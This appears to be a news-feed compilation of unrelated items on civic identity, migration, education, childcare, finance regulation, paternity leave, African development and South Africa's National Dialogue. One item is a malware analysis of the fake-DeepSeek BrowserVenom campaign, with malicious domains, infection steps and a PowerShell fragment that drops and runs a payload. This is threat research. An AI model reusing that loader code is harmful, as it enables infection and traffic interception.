Source: State University Higher School of Economics – State University Higher School of Economics –
Researchers from the National Research University Higher School of Economics have found that being aware of oneself as part of a country can be psychologically helpful during difficult times, especially if a person is inclined to rethink what is happening or turn to spiritual and cultural values. Rethinking, among other things, can somewhat reduce the level of depression.Studypublished in the Journal of Community Psychology.
Crisis situations – economic, social or personal – inevitably affect the psyche. But why do some people adapt and cope with pressure more easily, while others lose their footing? To answer this question, HSE researchers conducted a sociological study. They found out whether respondents rethink what is happening, whether they turn to religion, rely on help from family, neighbors or social services, or simply wait until everything passes. The survey involved 384 people aged 18 to 54 from different regions of Russia.
It turned out that people who feel more part of society cope better with psychological difficulties on average. They more often use strategies that help them adapt to change — primarily rethinking (the ability to find meaning in what is happening) and spiritual support (turning to religion, traditions, personal values).
Interestingly, civic identity did not directly reduce depression, but it did help cope. People who perceived difficulties as a challenge and tried to rethink what was happening felt more resilient. But passively waiting for improvements, on the contrary, increased symptoms of depression. At the same time, people who felt a strong connection to their country were much less likely to choose a passive strategy.
The study also found that in the Russian context, not only personal but also family support is important. Many people find that joint actions help – discussions with loved ones, mutual assistance, joint planning. This supports the idea that Russian culture places great importance on collective care, and that family becomes a support in difficult times.
“Psychological resources are not only internal stability, but also a sense of connection with others, belonging to a community. Civic identity is one of these resources. In conditions of instability and threats, it helps maintain support and includes familiar coping strategies: rethinking the situation and turning to spiritual values. These observations can be useful for specialists who support people in periods of uncertainty and change,” says the director. Center for Sociocultural ResearchHSE University Alexander Tatarko.
Please note: This information is raw content directly from the source of the information. It is exactly what the source states and does not reflect the position of MIL-OSI or its clients.
Source: International Organization for Migration (IOM)
Yaoundé, May 20, 2025 – The International Organization for Migration (IOM), alongside the Ministry of Youth and Civic Education (MINJEC), supported the participation of 81 voluntary returnees in the parade for the 53rd edition of Cameroon’s National Unity Day. This is a first in the history of this national event. The initiative is part of the “Citizen and Patriotic Migration” program, supported by IOM, in response to the call made by the President of the Republic, H.E. Paul Biya, in response to the rise in irregular youth migration.
The group, composed of 69 men and 12 women migrants who chose to return voluntarily, they were support by IOM to return home, and are currently being guided toward sustainable reintegration. By participating in this national parade, they sent a strong message in favour of resilience, civic-mindedness, and safe and orderly migration. Carrying posters with messages such as “No to Migration at All Costs” and “Circular Migration: A Pillar for Development,” these young Cameroonians expressed their commitment to voluntary return and successful reintegration.
“It was more than a parade. It was a way to find myself, to show that I can still accomplish great things,” said Bernadette, one of the twelve women who participated in the parade.
Participation in the national parade helped promote these voluntary return journeys, by facilitating social integration through dialogue with other groups and fostering a reconnection with civic values.
According to Mr Abdel Rahmane DIOP, IOM Chief of Mission in Cameroon: “Seeing these migrants marching at the National Unity Day celebrations sends a strong signal: migration concerns us all. Their presence demonstrates the need to strengthen collective action, led by the highest authorities, so that every ministry and every stakeholder contributes to coordinate inclusive migration governance that inspires pride for the migrants themselves”. Staying, building, and succeeding here is possible.”
This initiative showcases the potential of better-managed migration and highlights the role that young people and returning migrants can play in their communities. Since 2020, more than 10,000 Cameroonians have benefited from assisted voluntary return and reintegration support through programs implemented by IOM in Cameroon. This figure, equivalents to nearly seven departures per day, underlining the urgent need to strengthen preventive actions: information, support, and the creation of concrete alternatives to irregular migration.
IOM reaffirms its commitment to supporting the efforts of the Cameroonian authorities, and its partners to promote safe, orderly, and regular migration. Sustainable reintegration, social cohesion, and the development of local opportunities remain at the heart of its efforts, to transform migration pathways into vectors of individual and collective development.
***
For more information, please contact :
In Dakar: Joelle FURRER, IOM Regional Office for West and Central Africa, jfurrer@iom.int
In Cameroon: Elodie NDEME BODOLO, IOM Office in Yaoundé, endeme@iom.int
Source: Hong Kong Government special administrative region
LCQ2: Developing Hong Kong into international education hub Question:
The Government is now establishing the “Study in Hong Kong” brand to develop Hong Kong into an international hub for education. There are views pointing out that with the robust development of local basic education and the extensive recognition of the Hong Kong Diploma of Secondary Education Examination qualification, primary and secondary schools are well-positioned to admit non-local students amid the continuing decline in the number of students. At present, however, entry for non-local students to study in Hong Kong’s public or aided primary and secondary schools (other than English Schools Foundation (ESF) schools and Direct Subsidy Scheme (DSS) schools) is not permitted. In this connection, will the Government inform this Council:
(1) of the respective numbers of minor students coming to Hong Kong on student visas to study in private primary and secondary schools, ESF schools, and DSS primary and secondary schools over the past three school years, as well as the distribution of their years of study;
(2) whether it will consider drawing on the practices of other countries to relax the eligibility criteria for student visas, so as to allow non-local minor students entry into Hong Kong to study in public or aided primary and secondary schools, as well as introducing student guardian visas for their parents to stay in Hong Kong and engage in time-limited employment; and
(3) whether it will consider encouraging private enterprises or educational institutions to establish additional student hostels or overseas students’ apartments to provide accommodation and ancillary services suitable for students of different ages, as well as establishing corresponding licensing and registration regimes?
Reply:
President,
The Chief Executive announced in the 2024 Policy Address that the Government would promote the development of an international hub for post-secondary education by establishing the “Study in Hong Kong” brand as well as pooling together and nurturing excellent global talents. The policy is built on the foundation that Hong Kong’s universities enjoy an international reputation. Among our eight public universities, five are ranked among the world’s top 100 and six within Asia’s top 50, and four are among the top ten on the list of the most international universities in the world. The internationalisation and diversity of our post-secondary education attract outstanding talents from all over the world to Hong Kong for further studies and research. Meanwhile, the National 14th Five-Year Plan supports Hong Kong as a development centre in eight key areas (“eight centres”), the Education Bureau (EDB) has been proactively encouraging post-secondary education institutions to develop more related applied degree programmes to complement with the talent backing for the “eight centres”. At the same time, we are also committed to promoting the “Study in Hong Kong” brand, developing Hong Kong into an international education hub, attracting outstanding talent from all over the world in all aspects to enrich the local talent pool.
Regarding our basic education, under the “one country, two systems”, Hong Kong has the distinctive advantages of enjoying strong support of the motherland and being closely connected to the world. We have been providing 12-year free and quality primary and secondary education to all local children through public sector schools, and parents of local children are offered with diversified choices. Meanwhile, non-local children can study in non-public sector schools, including international schools, private schools and Direct Subsidy Scheme schools, on a self-financing basis. These arrangements aim to ensure a reasonable balance between the supply and demand of school places in basic education in the relevant arrangements, while achieving prudent use of public funds. In fact, Hong Kong’s diversified and quality school education system has long been ranked among the top in international education comparative studies.
Having consulted the Security Bureau and the Immigration Department (ImmD), our reply to the question raised by the Hon Chu Kwok-keung is as follows:
(1) In the past three years (2022 to 2024), a total of 1 686 applications for student visa/entry permit were approved by the ImmD for non-local children aged 17 or below coming to Hong Kong for education (see Annex). The ImmD and the EDB do not keep statistics on the types of schools admitting these students.
(2) The Government is committed to developing a vibrant international school sector to meet the demand for education from non-local families living in Hong Kong as well as children of families coming to Hong Kong for work or investment. International schools operate on a self-financing and market-driven basis and belong to the private school sector. They have been enjoying the flexibility, including the medium of instruction, curriculum arrangements, public examinations, etc, and they are not subsidised by public funds for daily operation, providing diversified choices for local parents, while offering school places to non-local children who pay school fees at their own expense under the “user pays” principle. As seen from the figures provided by the ImmD over the past three years, there have been hundreds non-local children aged from five years eight months to 17 years being approved with study visa/entry permit to come to Hong Kong for education annually. We will closely keep in view the demand for school places from non-local children, conduct dynamic assessments of the demand and supply of school places, create conditions in a timely manner, and launch policy measures to adjust the supply of school places including supporting the development of non-profit-making private schools offering non-local curriculum through the school allocation exercise. Meanwhile, we will proactively explore the feasibility of facilitating non-local students to come to Hong Kong to study in non-public sector schools on a self-financing basis.
As the goal of public sector schools is to provide 12-year quality and free primary and secondary education to eligible children to meet the educational needs of local children, we adopt mother-tongue teaching. The medium of instruction, curriculum arrangements, public examination (i.e. Hong Kong Diploma of Secondary Education Examination), etc in public sector schools are based on the learning needs of local children.
Therefore, for public sector schools, the Government has always been devoting substantial resources to public sector schools in providing quality education to students over the years, meeting the different learning needs of students in an all-round way, including catering for the learning diversity for students with special educational needs and non-Chinese speaking students with the provision of additional learning support and complementary measures. Public sector schools are publicly funded at full costs, offer local curriculum and serve local children. It ensures the prudent use of public funds and fair allocation of educational resources, and benefit local children.
At present, the parallel development of the public sector schools and non-public sector schools not only caters for the learning needs of the children of different stakeholders, but also achieves the purpose of prudent use of public funds and an appropriate allocation of resources. Therefore, the policy meets Hong Kong’s actual circumstances.
(3) In general, the boarding services provided by different types of schools are mainly aimed at enriching local students’ learning experiences, and cater for the residential needs of a small number of non-local students. At present, there are a total of 16 publicly-funded and private ordinary primary and secondary schools across the territory, which provide boarding services offering about 3 500 boarding places altogether. If individual schools have needs, and the premises and space allow, they can submit applications to the EDB to provide boarding facilities on a self-financing basis. We will consider the applications based on the actual needs. The facilities and management of boarding schools should comply with the relevant stipulations such as the Education Regulations (Cap. 279A). The accommodation arrangements outside schools should also comply with all relevant laws and requirements. The EDB will closely monitor the residential needs of non-local students, including the boarding facilities provided by different types of schools, and maintain communication with the education sector and relevant government departments to review the related arrangements in a timely manner.
President, education is the key to a hundred-year plan. While being open to different views, the EDB will carefully consider each and every policy initiative to maintain the strengths of Hong Kong education, orderly promote the development of an international hub for post-secondary education, and strengthen the high quality development of education in Hong Kong.Issued at HKT 17:53
In my first week as Minister for Early Childhood Education, I stopped in to meet educators and children at a busy early learning centre.
22-year-old Talitha told me with a big smile, “I can finally see a future.”
She was talking about our 15 per cent pay rise, one of the key pillars of building universal early education in Australia.
With a prime minister who wants to be remembered for universal childcare, and a 57 per cent majority women government, early education is not just on the agenda, it is already in motion.
For too long, early childhood educators have loved their work – work that builds the foundations of learning and development for our youngest Australians – but love doesn’t pay the bills.
Educators like Talitha, who once juggled multiple jobs just to get by, now have stability and a vision for a future in the sector.
“I’m now able to significantly save,” Talitha shares, following the first installment of the pay boost.
“It helped with my mortgage, and it means less stress at the supermarket – I can buy the brand names!”
And the first pay installment is also a catalyst for broader change in the sector.
Already online job advertisement rates are down 28 per cent in the past 12 months.
With increased wages and recognition, educators like Talitha are able to stay in the sector they love.
For too long, workforce turnover has been high.
As Talitha explains, “people love the children, but other jobs pay better – so that’s why they leave.”
“When staff change, it’s stressful for the workers, and it’s not good for the kids.”
Better pay means higher retention for the profession, creating a steady environment and better outcomes for children and families.
And creating a stable workforce paves the way for our plans to expand access to quality early education, starting with our 3 Day Guarantee.
Today some families are locked out of early learning due to work and study requirements.
The 3 Day Guarantee will replace this activity test to provide at least three days of subsidies for early education for families who need it.
And our Cheaper Child Care policy is already delivering more affordable education for more than one million Australian families.
Alongside this, the Government is investing over $1 billion in the Building Early Education Fund, to build and expand in areas of need, including in the outer suburbs and regional Australia.
These centres will be co-located on school sites wherever possible and run by high quality non-profit providers.
Talitha welcomes this investment, explaining “it’s important children have access to education at this stage in their life – so that when they grow up, they can have the same opportunities and same outcomes as everyone else.”
As early education services expand, quality will be at the forefront.
While the vast majority of services meet or exceed quality standards, a small number of operators fail to provide quality care and a safe environment.
“This job is about caring for children, and it’s about giving children the best start in life, so when people don’t do that, it makes me feel betrayed,” Talitha says.
There is no place for providers who put profit over children’s safety in this sector.
That is why we will strengthen Commonwealth powers to prevent providers that persistently fail to meet minimum standards from expanding, and to restrict their access to the Child Care Subsidy when appropriate.
We want to make sure that families can feel confident sending their children to early education knowing that providers are offering quality and safety.
As Minister, I’m looking forward to the work ahead in building the pillars of universal early education.
So, we can build a sector where children have universal access to high quality early learning no matter their postcode, and where dedicated educators like Talitha can flourish.
Headline: Toxic trend: Another malware threat targets DeepSeek
Introduction
DeepSeek-R1 is one of the most popular LLMs right now. Users of all experience levels look for chatbot websites on search engines, and threat actors have started abusing the popularity of LLMs. We previously reported attacks with malware being spread under the guise of DeepSeek to attract victims. The malicious domains spread through X posts and general browsing.
But lately, threat actors have begun using malvertising to exploit the demand for chatbots. For instance, we have recently discovered a new malicious campaign distributing previously unknown malware through a fake DeepSeek-R1 LLM environment installer. The malware is delivered via a phishing site that masquerades as the official DeepSeek homepage. The website was promoted in the search results via Google Ads. The attacks ultimately aim to install BrowserVenom, an implant that reconfigures all browsing instances to force traffic through a proxy controlled by the threat actors. This enables them to manipulate the victim’s network traffic and collect data.
Phishing lure
The infection was launched from a phishing site, located at https[:]//deepseek-platform[.]com. It was spread via malvertising, intentionally placed as the top result when a user searched for “deepseek r1”, thus taking advantage of the model’s popularity. Once the user reaches the site, a check is performed to identify the victim’s operating system. If the user is running Windows, they will be presented with only one active button, “Try now”. We have also seen layouts for other operating systems with slight changes in wording, but all mislead the user into clicking the button.
Malicious website mimicking DeepSeek
Clicking this button will take the user to a CAPTCHA anti-bot screen. The code for this screen is obfuscated JavaScript, which performs a series of checks to make sure that the user is not a bot. We found other scripts on the same malicious domain signaling that this is not the first iteration of such campaigns. After successfully solving the CAPTCHA, the user is redirected to the proxy1.php URL path with a “Download now” button. Clicking that results in downloading the malicious installer named AI_Launcher_1.21.exe from the following URL: https://r1deepseek-ai[.]com/gg/cc/AI_Launcher_1.21.exe.
We examined the source code of both the phishing and distribution websites and discovered comments in Russian related to the websites’ functionality, which suggests that they are developed by Russian-speaking threat actors.
Malicious installer
The malicious installer AI_Launcher_1.21.exe is the launcher for the next-stage malware. Once this binary is executed, it opens a window that mimics a Cloudflare CAPTCHA.
The second fake CAPTCHA
This is another fake CAPTCHA that is loaded from https[:]//casoredkff[.]pro/captcha. After the checkbox is ticked, the URL is appended with /success, and the user is presented with the following screen, offering the options to download and install Ollama and LM Studio.
Two options to install abused LLM frameworks
Clicking either of the “Install” buttons effectively downloads and executes the respective installer, but with a caveat: another function runs concurrently: MLInstaller.Runner.Run(). This function triggers the infectious part of the implant.
When the MLInstaller.Runner.Run() function is executed in a separate thread on the machine, the infection develops in the following three steps:
First, the malicious function tries to exclude the user’s folder from Windows Defender’s protection by decrypting a buffer using the AES encryption algorithm.
The AES encryption information is hardcoded in the implant:
It should be noted that this command needs administrator privileges and will fail in case the user lacks them.
After that, another PowerShell command runs, downloading an executable from a malicious domain whose name is derived with a simple domain generation algorithm (DGA). The downloaded executable is saved as %USERPROFILE%Music1.exe under the user’s profile and then executed.
};
if ([Runtime.InteropServices.RuntimeEnvironment]::GetSystemVersion() – match”^v2″) {
[IO.File]::WriteAllBytes(“$env:USERPROFILEMusic1.exe”, $b);
Start – Process “$env:USERPROFILEMusic1.exe” – NoNewWindow
} else {
([Reflection.Assembly]::Load($b)).EntryPoint.Invoke($null, $null)
}
At the moment of our research, there was only one domain in existence: app-updater1[.]app. No binary can be downloaded from this domain as of now but we suspect that this might be another malicious implant, such as a backdoor for further access. So far, we have managed to obtain several malicious domain names associated with this threat; they are highlighted in the IoCs section.
Then the MLInstaller.Runner.Run() function locates a hardcoded stage two payload in the class and variable ConfigFiles.load of the malicious installer’s buffer. This executable is decrypted with the same AES algorithm as before in order to be loaded into memory and run.
Loaded implant: BrowserVenom
We dubbed the next-stage implant BrowserVenom because it reconfigures all browsing instances to force traffic through a proxy controlled by the threat actors. This enables them to sniff sensitive data and monitor the victim’s browsing activity while decrypting their traffic.
First, BrowserVenom checks if the current user has administrator rights – exiting if not – and installs a hardcoded certificate created by the threat actor:
Then the malware adds a hardcoded proxy server address to all currently installed and running browsers. For Chromium-based instances (i.e., Chrome or Microsoft Edge), it adds the proxy-server argument and modifies all existent LNK files, whereas for Gecko-based browsers, such as Mozilla or Tor Browser, the implant modifies the current user’s profile preferences:
The variables Host and Port are the ones used as the proxy settings, and the ID and HWID are appended to the browser’s User-Agent, possibly as a way to keep track of the victim’s network traffic.
Conclusion
As we have been reporting, DeepSeek has been the perfect lure for attackers to attract new victims. Threat actors’ use of new malicious tooling, such as BrowserVenom, complicates the detection of their activities. This, combined with the use of Google Ads to reach more victims and look more plausible, makes such campaigns even more effective.
At the time of our research, we detected multiple infections in Brazil, Cuba, Mexico, India, Nepal, South Africa, and Egypt. The nature of the bait and the geographic distribution of attacks indicate that campaigns like this continue to pose a global threat to unsuspecting users.
To protect against these attacks, users are advised to confirm that the results of their searches are official websites, along with their URLs and certificates, to make sure that the site is the right place to download the legitimate software from. Taking these precautions can help avoid this type of infection.
Kaspersky products detect this threat as HEUR:Trojan.Win32.Generic and Trojan.Win32.SelfDel.iwcv.
A CEP is an individual associated with an industry or activity that typically has a higher exposure to bribery and corruption. This, in turn, may increase the money laundering, terrorist financing and proliferation financing risk posed to supervised entities where such individuals are affiliated to a customer.
The Authority’s guide provides examples of higher risk industries, further background about CEPs, and a breakdown of data which helps to inform topical and sector risk assessments, as well as the Island’s National Risk Assessment.
A visual guide is also provided to help firms to understand if a customer account or entity is associated with a Politically Exposed Person (“PEP”) or CEP.
Firms should consider the nature and activity of a customer, and connected persons, as part of their customer risk assessment in line with requirements of the AML/CFT Code 2019.
UK campaign group The Dad Shift is staging a “dad strike” on June 11, to protest the poor paternity leave available to fathers in the UK. Fathers and other parents are being asked to “picket or pickup” – to leave work and join protests at government buildings, or use this time to do the school or nursery run.
My research suggests that a poor offer of leave for fathers means they do not believe either the UK government or their employers view their participation in childcare as important.
UK fathers can take up to two weeks’ leave at the time of the birth of their child, but it is paid well below the living wage. This leave is also only eligible to fathers who have been continuously employed by their employer for at least 26 weeks up to the 15th week before the baby is due.
Paternity leave was introduced in 2003, when maternity leave was extended from 18 to 26 and later 52 weeks. This has resulted in a stark inequality between mothers’ and fathers’ opportunity to take time with their new baby. The UK paternity leave offer also compares poorly against leave offered for fathers in other countries, ranking 40th out of 43 OECD countries
And despite the small amount of leave offered to fathers in the UK, only 59% actually take it. This is mostly due to the poor pay, but fathers also report facing pressure from work that inhibits their use of the leave options available to them.
Sharing leave
Shared parental leave, introduced in 2015 throughout the UK, allows parents to share up to 50 weeks between them. But it has failed to alter parental leave patterns: only 5% of fathers take any shared parental leave.
The low remuneration offered – currently £187.18 a week, if taken within the first nine months, or no pay at all thereafter – again has affected how many men make use of this scheme. They may also feel they are “stealing” the mother’s leave, because a father taking shared parental leave means the mother has to go back to work sooner.
But it’s really important that fathers take time with their babies. When fathers take leave, there are multiple documented benefits for the family and beyond.
Dads’ time at home with their children can help establish a bond between father and child. Research has found that a father who spends time with his young baby, and does activities with them, is more likely to be an engaged parent as his child gets older. There are also potential improved developmental outcomes for children. These benefits are increased the more time fathers are able to spend with their children.
Wider benefits
Mothers also benefit from having their partner off work and with them, particularly during the first weeks and months after giving birth.
I collected diary entries and held interviews with new parents about their parental leave. The difference that fathers taking extended paternity leave at the time of birth made to mothers was palpable. All these mothers reported a smoother and happier transition to parenthood.
On the other hand, mothers whose partners returned to work at two weeks or earlier reported significant challenges. Some even said they felt “traumatised” when the paternity leave ended. “It’s harrowing when the father goes back to work,” one mother told me. “I was, like, hysterical from lack of sleep and not being able to breastfeed.”
As more and more births are via caesarean section – an estimated 31% in the UK – it is even more important that mothers have a partner present at this time. Mothers who have a c-section have limited mobility and will generally require greater levels of support for longer than mothers who have a vaginal birth.
Beyond the family, fathers’ participation in leave is also good for gender equality. Fathers who take leave are more likely to share parenting tasks later and demonstrate more understanding around what parenthood involves.
These benefits are magnified when fathers take leave alone – whether through shared parental leave taken alone in the UK or, as in some European countries, an extended “daddy’s quota” of leave taken after the mother returns to work.
This can also have knock-on benefits for gender equality in paid work. The gender pay gap in the UK is 7% – women working full-time earn 7% less per hour than men. As documented by Nobel prize winner Claudia Goldin, the biggest factor in the gender pay gap is the transition to parenthood. A greater uptake of leave by fathers can shift the established roles of mother-as-carer and father-as-breadwinner.
Besides all these documented benefits of paternity leave, perhaps one of the most potent is that fathers too are part of a family. To deny them independent and well-supported access to parental leave, at least in a comparable way to mothers, is simply unjust. They shouldn’t miss out on this valuable time with their children – and nor should children miss out on time with their fathers.
Katherine Twamley’s research on parental leave was funded by the British Academy and the Leverhulme Trust.
Source: Africa Press Organisation – English (2) – Report:
Permanent office strengthens Bank’s partnership with Zambia.
African Development Bank has financed and facilitated major projects at country and continent level to support regional integration – Finance Minister Musokotwane
The African Development Bank Group (www.AfDB.org) commenced construction of its permanent country office in Lusaka on Friday, marking a transformative milestone in the institution’s 54-year partnership with Zambia.
Since establishing its temporary country office in 2007 with just four staff members, the African Development Bank’s presence in Zambia has grown to 20 permanent staff. The Bank’s cumulative investment in Zambia now stands at $2.7 billion across multiple sectors, with a current active portfolio worth nearly $1 billion.
The groundbreaking event was attended by Finance and National Planning Minister Dr. Situmbeko Musokotwane; African Development Bank’s Vice President for Regional Development, Integration and Business Delivery, Nnenna Nwabufo; the Bank’s Director of Real Estate Management, Procurement and General Services, Gail Meakin, as well as other senior government officials, members of the diplomatic community, other development partners, and private sector chief executive officers.
The new office design incorporates cutting-edge sustainability features and wellness-focused design. It will house expanded operations while contributing to Zambia’s economic growth through job creation and business stimulation during both construction and operation. The building is expected to be completed by 2027. It will be a smart building with conferencing and staff wellness facilities, with low energy consumption, a wastewater recycling system, and large green spaces.
Dr. Musokotwane emphasized the significance of a permanent office. “This occasion is not just ceremonial – it’s a vote of confidence in our country, our government, and our people. It recognizes Zambia’s commitment to forge a better future for Africa.”
The Minister thanked the African Development Bank for providing much-needed financial support during Zambia’s development journey and conveyed the President of Zambia’s support for the Bank’s decision to establish a permanent office building and continued development work in the country.
“The African Development Bank’s support has produced many positive results in sectors such as transport, agriculture, water and sanitation, and energy. This shows the Bank’s commitment to deliver on its vision for the African continent,” the Minister said. “AfDB’s support to Zambia has been instrumental in supporting the country’s development goals espoused in the national development plans, which emphasize, among others, the need to build resilient infrastructure, promote inclusive and sustainable industrialization, and foster innovation in all the sectors of the economy.”
Musokotwane listed some of the Bank’s transformative work in Zambia, singling out the Kazungula Bridge Project (https://apo-opa.co/4jORboP), for special commendation.
“We also wish to take this opportunity to commend the Bank for the support rendered to Africa. Through the Bank, major projects have been implemented both at country and continent level to support regional integration in Africa. Key among the projects implemented is the Kazungula bridge project, which is a major infrastructure initiative that involves constructing a road and rail bridge connecting Zambia and Botswana.”
Other notable projects in Zambia include the Integrated Small Towns Water and Sanitation project, the Lusaka Sanitation Programme, Skills Development and Entrepreneurship Project, and the Multi-Purpose Small Dams Project.
Musokotwane urged the Bank to consider expanded support for regional drought recovery efforts, emphasizing the need for building economic resilience across the region. The Southern Africa region is still recovering from the devastating droughts of 2023-2024.
Nwabufo thanked the Government of Zambia for providing the prime land within Lusaka for the construction of the Bank’s country office.
“This new office demonstrates our continued commitment to strengthening our partnership with Zambia. We are here to stay – after all, the African Development Bank is your Bank,” said Bank Vice President Nwabufo.
She reaffirmed the Bank’s commitment, announcing a $250 million commitment to the transformative Lobito Corridor Development Project (http://apo-opa.co/4kY4CU7). The Lobito Corridor is a major economic route connecting the port of Lobito in Angola to the Katanga province in the Democratic Republic of Congo and the Copperbelt in Zambia. It encompasses the construction of the Zambia-Angola railway, the rehabilitation of the DRC segment of the railway with the establishment of a public-private partnership, and the upgrading and operationalisation of the Angolan railway.
The African Development Bank’s investments in Zambia continue to deliver impactful results:
The 923-meter-long Kazungula Bridge (https://apo-opa.co/44an9XL) project – supported by the African Development Bank Group with a US$ 81.6 million investment – has revolutionized cross-border trade, reducing transit times from 2.5 days to just half a day.
The Chinsali-Nakonde road rehabilitation and Nacala Road Corridor projects have similarly enhanced regional connectivity.
National water access has increased from 69% to 72% between 2015-2022, while sanitation coverage rose from 50% to 58%, providing 1.9 million additional people with improved water access.
Through the Bank’s agriculture sector, over 1.5 million households have seen their average annual incomes surge from US$320 in 2017 to US$1,300 in 2022. Agricultural productivity has soared, with maize production increasing from 2.9 million tonnes to 3.9 million tonnes and aquaculture output expanding from 20,000 tonnes to 76,000 Tonnes. The Bank’s interventions in the sector have generated approximately 500,000 jobs.
Following the Bank’s intervention in the social sector, including the $30 million Skills Development and Entrepreneurship Project, SME productivity and competitiveness have improved, leading to increased job creation. Eight industrial yards have been constructed in Chipata, Kasama, Mongu, Ndola, Solwezi, Lusaka, Mansa, and Kitwe, with the capacity to accommodate 172 SMEs across various light manufacturing sub-sectors.
The African Development Bank’s 2024-2029 Country Strategy Paper for Zambia focuses on two key priorities: enhancing private sector development through infrastructure investments and promoting agricultural value chains to support youth and women’s employment. This will guide the Banks’ interventions in Zambia for the stated period.
African Development Bank Country Manager for Zambia, Olaniyi Durowoju, noted that “the office would serve as a modern and efficient workspace, and a beacon of innovation and a vibrant hub for partnerships, and collaboration with the Bank’s stakeholders, enabling us better to serve our clients and the people of Zambia”.
– on behalf of African Development Bank Group (AfDB).
Additional Photos: https://apo-opa.co/4mYbuCR
Media contact: Emeka Anuforo, Communication and External Relations Department, media@afdb.org
About the African Development Bank Group: The African Development Bank Group is Africa’s premier development finance institution. It comprises three distinct entities: the African Development Bank (AfDB), the African Development Fund (ADF) and the Nigeria Trust Fund (NTF). On the ground in 41 African countries with an external office in Japan, the Bank contributes to the economic development and the social progress of its 54 regional member states. For more information: www.AfDB.org
President Cyril Ramaphosa has called for a National Convention on Friday, the 15th of August 2025, which will represent the diversity of the South African nation and set the agenda for the National Dialogue.
The National Dialogue is an initiative that has been in discussion by a number of leaders in the country and many other people for some time now.
“This National Convention will represent the diversity of the South African nation. The first National Convention will set the agenda for the National Dialogue.
“It will be a representative gathering, bringing together government, political parties, civil society, business, labour, traditional leaders, religious leaders, cultural workers, sports organisations, women, youth and community voices, among others,” the President said on Tuesday.
The initiative has been gathering support and enthusiasm since it was proposed last year and has been endorsed by a wide range of formations across society.
Over the last few months, government has been engaged in discussions with various entities on the purpose and the form of the dialogue.
WATCH | Announcement of the National Dialogue
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“In the wake of these consultations, there is broad agreement that given the challenges our country is facing at the moment, we should convene the National Dialogue. The idea of holding a dialogue is not a new concept in our country. In many ways having dialogues is part of our DNA as a nation.
“At every important moment in the history of our country, we have come together as a nation to confront our challenges and forge a path into the future in dialogue with one another. Through dialogue we were able to deal with the challenges that the apartheid system caused in our country and achieved peace and overcame violence. We established a democracy and ended apartheid,” the President said.
Following the negotiations process, he explained that dialogue was used to start building a united nation where once there had only been conflict and division.
He said the country achieved all this because everyone came together in dialogue to discuss difficulties, concerns, hopes and inspiration as a people. The country has worked together for more than 30 years to realise the promise of a democratic Constitution.
Challenges
Additionally, progress has been made in expanding freedom, deepening democracy, and improving the lives of millions, while also recognising the persistent challenges that remain. Poverty, unemployment and inequality are “deep wounds” that prevent the nation and country from reaching its full potential.
“Millions of people are under-employed and unemployed. Many of those who work earn wages that cannot sustain them or their families. Crime, gender-based violence and corruption are prevalent across our society.
“We are therefore called upon at this moment to direct all our efforts to build a thriving, inclusive economy that creates jobs and opportunities. We are called upon to build safer communities and to create a better future for our children.
“We are also called upon to give all sectors of our society – men and women, young and old, persons with disabilities, LGBTQI [lesbian, gay, bisexual, transgender, queer and intersex] community, and urban and rural people – a voice to determine how we address the problems of today and build the South Africa we want for future generations. That is why we have agreed to convene an inclusive National Dialogue,” he said.
Shared vision
The dialogue will be a people-led, society-wide process to reflect on the state of the country in order to reimagine the future.
“Through the National Dialogue, we seek a shared vision of what it means to be a South African and develop a new national ethos and common value system.
“It is an opportunity to forge a new social compact for the development of our country, a compact that will unite all South Africans, with clear responsibilities for different stakeholders, government, business, labour, civil society, men and women, communities and citizens,” the President said.
The dialogue is expected to accelerate progress towards Vision 2030 and help lay the groundwork for the next phase of the National Development Plan.
He emphasised that the dialogue is not a single event, but rather a phased, participatory process beginning with local consultations and sector-specific discussions and culminating in provincial and national engagements.
Through various political, social and other formations, in workplaces, places of worship, communities, villages and sites of learning, South Africans will in the months following the National Convention be encouraged to be in dialogue to define the nation’s path into the future.
“The views, concerns and proposals that will emerge from this conversation will be brought together at a second National Convention, that is planned to be held in the beginning of next year.
“This second National Convention will reinforce our shared values and adopt a common vision and programme of action for our country into the future,” he said.
The President said he expects that the National Convention will finalise a compact that outlines the roles and responsibilities of all South Africans.
Eminent Persons Group
To guide and champion the National Dialogue, the President has appointed an Eminent Persons Group.
He said these are leading figures in society, reflecting the country’s diversity with a proven commitment to the advancement of social cohesion and nation-building.
The members of the group are: • Dr Brigalia Bam, former Independent Electoral Commission Chairperson, • Mr Robbie Brozin, entrepreneur and business person, • Judge Edwin Cameron, former Constitutional Court judge, • Mr Manne Dipico, former Northern Cape Premier, • Dr Desiree Ellis, Banyana Banyana coach and football legend, • Ms Ela Gandhi, peace activist and stalwart, • Prof Nomboniso Gasa, researcher and rural activist, • Mr Bobby Godsell, business leader, • Dr John Kani, award-winning actor, • Mr Siya Kolisi, Springbok captain and world champion, • Ms Mia le Roux, Miss South Africa 2024, • His Grace Bishop Barnabas Lekganyane, leader of the Zion Christian Church, • His Grace Bishop Engenas Lekganyane, leader of the St Engenas Zion Christian Church, • The Most Reverend Thabo Makgoba, Anglican Archbishop of Cape Town, • Prof Tinyiko Maluleke, Chairperson of the National Planning Commission, • Dr Barbara Masekela, poet, educator and stalwart, • Ms Lindiwe Mazibuko, former Member of Parliament, • Mr Roelf Meyer, former Minister and constitutional negotiator, • Ms Gcina Mhlope, storyteller, writer and actor, • Ms Nompendulo Mkhatshwa, student activist and former Member of Parliament, • Ms Kgothatso Montjane, Grand Slam tennis champion, • Prof Harry Ranwedzi Nengwekhulu, former activist and educationist, • Mr Bheki Ntshalintshali, unionist and former COSATU General Secretary, • Hosi Phylia Nwamitwa, traditional leader, • Kgosi Thabo Seatlholo, chairperson of the National House of Traditional and Khoi-San Leaders, • Dr Gloria Serobe, business leader, • Dr Imtiaz Sooliman, founder of the Gift of the Givers, • Prof Derrick Swartz, academic, • Ms Lorato Trok, author and early literacy expert, • Mr Sibusiso Vilane, mountaineer and adventurer, • Mr Siyabulela Xuza, award-winning rocket scientist.
The President added that UBaba uShembe uNyazi LweZulu has also been invited to join the Eminent Persons Group, but, as he is travelling, has not yet been able to confirm his availability.
“I am grateful to each of these South African patriots who have made themselves available to act as the guarantors of an inclusive, constructive and credible process,” he said.
IMC
An Inter-Ministerial Committee (IMC) has been established under the chairpersonship of Deputy President Paul Mashatile to coordinate government’s contribution to the National Dialogue.
The President said a Steering Committee will be established, comprised of representatives of various sectors of society, to set strategic priorities and coordinate implementation of the dialogue process.
The Secretariat, which is responsible for day-to-day management of National Dialogue activities, will be housed at NEDLAC, the National Economic Development and Labour Council.
